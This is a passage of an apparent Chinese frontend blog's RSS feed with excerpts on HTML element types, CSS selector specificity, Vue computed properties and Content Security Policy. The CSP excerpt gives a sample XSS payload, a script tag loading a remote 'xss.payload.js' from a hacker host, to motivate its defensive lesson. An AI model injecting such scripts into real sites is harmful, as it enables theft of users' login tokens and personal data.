&lt;li&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;：HTML5 语义化标签，分别表示页头、页尾、内容区块等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;标题&amp;lt;/&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;这是一个段落。&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-内联元素inline-elements"&gt;2. &lt;strong&gt;内联元素（Inline Elements）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;内联元素与其他元素排列在同一行，且只占用其内容所需的宽度。它们不会独占一行，不能包含块级元素。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;与相邻的内联元素排列在同一行。&lt;/li&gt;
&lt;li&gt;仅占据自身内容的宽度，不会在前后产生换行。&lt;/li&gt;
&lt;li&gt;不能设置 &lt;code&gt;width&lt;/code&gt;、&lt;code&gt;height&lt;/code&gt;（无效），但可以设置 &lt;code&gt;padding&lt;/code&gt; 和 &lt;code&gt;margin&lt;/code&gt;，只影响水平方向。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常见的内联元素&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;：无特定语义的容器，常用于局部样式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;：超链接。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt;：表示强调的文本，通常加粗显示。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;：表示强调的文本，通常斜体显示。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;：图像标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;：表单输入元素。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;这是一个段落，&amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;&amp;gt;点击这里&amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;&amp;gt; 了解更多。&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-内联块元素inline-block-elements"&gt;3. &lt;strong&gt;内联块元素（Inline-block Elements）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;内联块元素是同时具备内联元素和块级元素特性的元素。它们在布局上是内联的，但表现为块状元素，因此可以设置宽高。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;与其他元素排列在同一行，但可设置宽度和高度。&lt;/li&gt;
&lt;li&gt;不会自动换行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常见的内联块元素&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;：虽然图像显示在行内，但可以设置 &lt;code&gt;width&lt;/code&gt; 和 &lt;code&gt;height&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;：按钮。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&lt;/code&gt;：文本输入框。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSS 设置为 &lt;code&gt;display: inline-block&lt;/code&gt; 的元素&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;display: inline-block; width: 100px; height: 100px; background: red;&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;span&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-自闭合元素self-closing-elements"&gt;4. &lt;strong&gt;自闭合元素（Self-closing Elements）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;自闭合元素是没有闭合标签的元素，因为它们没有任何内容。这类标签通常用于插入内容或进行控制，而不包含其他内容。&lt;/p&gt;</description></item><item><title>优先级</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-004/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-004/</guid><description>&lt;p&gt;在前端面试中，经常会遇到CSS选择器的问题三连：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;说一下CSS的选择器有哪些&lt;/li&gt;
&lt;li&gt;优先级是怎样的&lt;/li&gt;
&lt;li&gt;权重计算方式&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;今天就来给大家介绍选择器的优先级和权重计算方式。&lt;/p&gt;
&lt;h2 id="优先级是什么有什么用"&gt;优先级是什么？有什么用？&lt;/h2&gt;
&lt;p&gt;先提出一个问题：如果一个元素通过多种方式设置了字体大小，那么浏览器在最后渲染时会使用哪个属性值呢？&lt;/p&gt;
&lt;p&gt;其实，浏览器会通过优先级来判断哪些属性值与一个元素最为相关，从而在该元素上应用这些属性值。优先级是基于不同种类选择器组成的匹配规则。&lt;/p&gt;
&lt;p&gt;换种说法，优先级就是分配给指定的 CSS 声明的一个权重，它由 &lt;strong&gt;匹配的选择器&lt;/strong&gt; 中的 &lt;strong&gt;每一种选择器类型的数值&lt;/strong&gt; 决定。&lt;/p&gt;
&lt;p&gt;总结一下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;权重决定了你css规则怎样被浏览器解析直到生效，css权重关系到你的css规则是怎样显示的。&lt;/li&gt;
&lt;li&gt;当很多的样式被应用到某一个元素上时，权重决定哪种样式生效。&lt;/li&gt;
&lt;li&gt;每个选择器都有自己的权重。你的每条css规则，都包含一个权重级别。 这个级别是由不同的选择器加权计算的，通过权重，不同的样式最终会作用到你的网页中 。&lt;/li&gt;
&lt;li&gt;如果两个选择器同时作用到一个元素上，权重高者生效。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="权重的计算规则"&gt;权重的计算规则&lt;/h2&gt;
&lt;p&gt;接着介绍权重的计算规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一优先级：&lt;code&gt;!important&lt;/code&gt;会覆盖页面内任何位置的元素样式&lt;/li&gt;
&lt;li&gt;内联样式，如&lt;code&gt;style=&amp;quot;color: green&amp;quot;&lt;/code&gt;，权值为&lt;strong&gt;1000&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ID选择器，如&lt;code&gt;#app&lt;/code&gt;，权值为&lt;strong&gt;0100&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;类、伪类、属性选择器，如&lt;code&gt;.foo&lt;/code&gt;, &lt;code&gt;:first-child&lt;/code&gt;, &lt;code&gt;div[class=&amp;quot;foo&amp;quot;]&lt;/code&gt;，权值为&lt;strong&gt;0010&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;标签、伪元素选择器，如&lt;code&gt;div::first-line&lt;/code&gt;，权值为&lt;strong&gt;0001&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;通配符、子类选择器、兄弟选择器，如&lt;code&gt;*, &amp;gt;, +&lt;/code&gt;，权值为&lt;strong&gt;0000&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;继承的样式没有权值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;权值计算公式：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;权值&lt;/code&gt; = &lt;code&gt;第一等级选择器&lt;/code&gt; x &lt;code&gt;个数&lt;/code&gt;，&lt;code&gt;第二等级选择器&lt;/code&gt; x &lt;code&gt;个数&lt;/code&gt;，&lt;code&gt;第三等级选择器&lt;/code&gt; x &lt;code&gt;个数&lt;/code&gt;，&lt;code&gt;第四等级选择器&lt;/code&gt; x &lt;code&gt;个数&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;选择器&lt;/th&gt;
&lt;th&gt;千位&lt;/th&gt;
&lt;th&gt;百位&lt;/th&gt;
&lt;th&gt;十位&lt;/th&gt;
&lt;th&gt;个位&lt;/th&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;h1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;h1 + p::first-letter&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;0003&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;li &amp;gt; a[href*=&amp;ldquo;en-US&amp;rdquo;] &amp;gt; .inline-warning&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;0022&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#identifier&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内联样式&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="权重的比较规则"&gt;权重的比较规则&lt;/h2&gt;
&lt;p&gt;当两个权值进行比较的时候，是从高到低逐级将等级位上的权重值（如 权值 1,0,0,0 对应&amp;ndash;&amp;gt; 第一等级权重值，第二等级权重值，第三等级权重值，第四等级权重值）来进行比较的，而不是简单的 1000个数 + 100个数 + 10个数 + 1个数 的总和来进行比较的，换句话说，低等级的选择器，个数再多也不会越等级超过高等级的选择器的优先级的。&lt;/p&gt;</description></item><item><title>计算属性</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-004/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-004/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;Vue 的计算属性（&lt;code&gt;computed&lt;/code&gt;）是 Vue.js 中非常重要的一个概念。它允许你在 Vue 组件中定义一些计算逻辑，这些逻辑会依赖于 Vue 的响应式数据，并且具有缓存机制，只有在依赖数据发生改变时才会重新计算，从而提高了性能。&lt;/p&gt;
&lt;p&gt;计算属性的主要作用包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数据转换&lt;/li&gt;
&lt;li&gt;数据过滤&lt;/li&gt;
&lt;li&gt;响应式依赖&lt;/li&gt;
&lt;li&gt;缓存机制&lt;/li&gt;
&lt;li&gt;简化模板&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在本篇文章中，我们将详细探寻如何利用计算属性优化 Vue 组件的数据处理和渲染逻辑，深入了解 Vue 计算属性的精髓。&lt;/p&gt;
&lt;h2 id="一-认识计算属性"&gt;一. 认识计算属性&lt;/h2&gt;
&lt;h3 id="1-什么是计算属性"&gt;1. 什么是计算属性&lt;/h3&gt;
&lt;p&gt;Vue.js 中的计算属性（&lt;code&gt;computed properties&lt;/code&gt;）是 Vue 实例中非常重要的一个特性。它们用于对 Vue 实例的数据进行动态计算，且具有缓存机制，只有在相关依赖发生改变时才会重新计算。这种特性使得计算属性非常适合用于处理模板中的逻辑。&lt;/p&gt;
&lt;h3 id="2-计算属性的定义"&gt;2. 计算属性的定义&lt;/h3&gt;
&lt;p&gt;计算属性是在 Vue 实例的&lt;code&gt;computed&lt;/code&gt;选项中定义的，可以是一个函数或具有&lt;code&gt;get&lt;/code&gt;和&lt;code&gt;set&lt;/code&gt;方法的对象。函数形式的计算属性会在调用时被执行，而对象形式的计算属性则可以提供自定义的&lt;code&gt;get&lt;/code&gt;和&lt;code&gt;set&lt;/code&gt;方法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;computed&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 函数形式的计算属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;reversedMessage&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;reverse&lt;/span&gt;().&lt;span style="color:#a6e22e"&gt;join&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 对象形式的计算属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fullName&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;firstName&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;lastName&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;firstName&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;lastName&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;names&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-计算属性的依赖"&gt;3. 计算属性的依赖&lt;/h3&gt;
&lt;p&gt;计算属性可以依赖于 Vue 实例的响应式数据。当依赖数据发生改变时，相关的计算属性会重新计算。&lt;/p&gt;</description></item><item><title>Content Security Policy</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/</guid><description>&lt;p&gt;跨域脚本攻击 &lt;code&gt;XSS(Cross Site Scripting)&lt;/code&gt; 是最常见、危害最大的网页安全漏洞。&lt;/p&gt;
&lt;p&gt;比如网站有个留言板功能，但后台未对用户输入进行过滤，攻击者可以在留言编辑框中输入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.hacker.org/xss.payload.js&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;xss.payload.js&lt;/code&gt;可以获取老浏览用户的信息，如登录&lt;code&gt;token&lt;/code&gt;、&lt;code&gt;用户的个人资料&lt;/code&gt;等。以前的防御手段主要是对用户输入进行过滤如：去除&lt;code&gt;html&lt;/code&gt;标签，实体化，关键字过滤等等，这样一来，最终的结果就是后台的大多数代码都是在做字符串验证，非常的让人不舒服。&lt;/p&gt;
&lt;p&gt;为了防止它们，要采取很多编程措施，非常麻烦。很多人提出，能不能根本上解决问题，浏览器自动禁止外部注入恶意脚本？&lt;/p&gt;
&lt;p&gt;所以&lt;code&gt;W3 org&lt;/code&gt;引入了&lt;code&gt;CSP&lt;/code&gt;，它从另外一层面给浏览器提供了保护。这就是&amp;quot;网页安全政策&amp;quot;（&lt;code&gt;Content Security Policy&lt;/code&gt;，缩写 &lt;code&gt;CSP&lt;/code&gt;）的来历。本文详细介绍如何使用 &lt;code&gt;CSP&lt;/code&gt; 防止 &lt;code&gt;XSS&lt;/code&gt; 攻击。&lt;/p&gt;
&lt;h2 id="一简介"&gt;一、简介&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;CSP&lt;/code&gt; 的实质就是白名单制度&lt;/strong&gt;，开发者明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单。严格规定页面中哪些资源允许有哪些资源，不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成，开发者只需提供配置。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CSP&lt;/code&gt; 大大增强了网页的安全性。攻击者即使发现了漏洞，也没法注入脚本，除非还控制了一台列入了白名单的可信主机。&lt;/p&gt;
&lt;p&gt;两种方法可以启用 &lt;code&gt;CSP&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一种是通过 &lt;code&gt;HTTP&lt;/code&gt; 头信息的&lt;code&gt;Content-Security-Policy&lt;/code&gt;的字段&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/image-01.webp"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Content-Security-Policy&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;script-src&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;self&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;;&lt;/span&gt; &lt;span style="color:#f92672"&gt;object-src&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;none&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;style-src&lt;/span&gt; &lt;span style="color:#f92672"&gt;cdn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;example&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;org&lt;/span&gt; &lt;span style="color:#f92672"&gt;third-party&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;org&lt;/span&gt;&lt;span style="color:#f92672"&gt;;&lt;/span&gt; &lt;span style="color:#f92672"&gt;child-src&lt;/span&gt; &lt;span style="color:#f92672"&gt;https&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;另一种是通过网页的&lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt;标签&lt;/strong&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#f92672"&gt;http-equiv&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Security-Policy&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;script-src &amp;#39;self&amp;#39;; object-src &amp;#39;none&amp;#39;; style-src cdn.example.org third-party.org; child-src https:&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面代码中，&lt;code&gt;CSP&lt;/code&gt; 做了如下配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脚本：只信任当前域名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;标签：不信任任何&lt;code&gt;URL&lt;/code&gt;，即不加载任何资源&lt;/li&gt;
&lt;li&gt;样式表：只信任&lt;code&gt;cdn.example.org&lt;/code&gt;和&lt;code&gt;third-party.org&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;框架（&lt;code&gt;frame&lt;/code&gt;）：必须使用&lt;code&gt;HTTPS&lt;/code&gt;协议加载&lt;/li&gt;
&lt;li&gt;其他资源：没有限制&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;启用后，不符合 &lt;code&gt;CSP&lt;/code&gt; 的外部资源就会被阻止加载。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Chrome&lt;/code&gt; 的报错信息。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="二限制选项"&gt;二、限制选项&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CSP&lt;/code&gt; 提供了很多限制选项，涉及安全的各个方面。&lt;/p&gt;
&lt;h3 id="21-资源加载限制"&gt;2.1 资源加载限制&lt;/h3&gt;
&lt;p&gt;以下选项限制各类资源的加载。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;script-src&lt;/code&gt;：外部脚本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;style-src&lt;/code&gt;：样式表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;img-src&lt;/code&gt;：图像&lt;/li&gt;
&lt;li&gt;&lt;code&gt;media-src&lt;/code&gt;：媒体文件（音频和视频）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;font-src&lt;/code&gt;：字体文件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;object-src&lt;/code&gt;：插件（比如 &lt;code&gt;Flash&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;child-src&lt;/code&gt;：框架&lt;/li&gt;
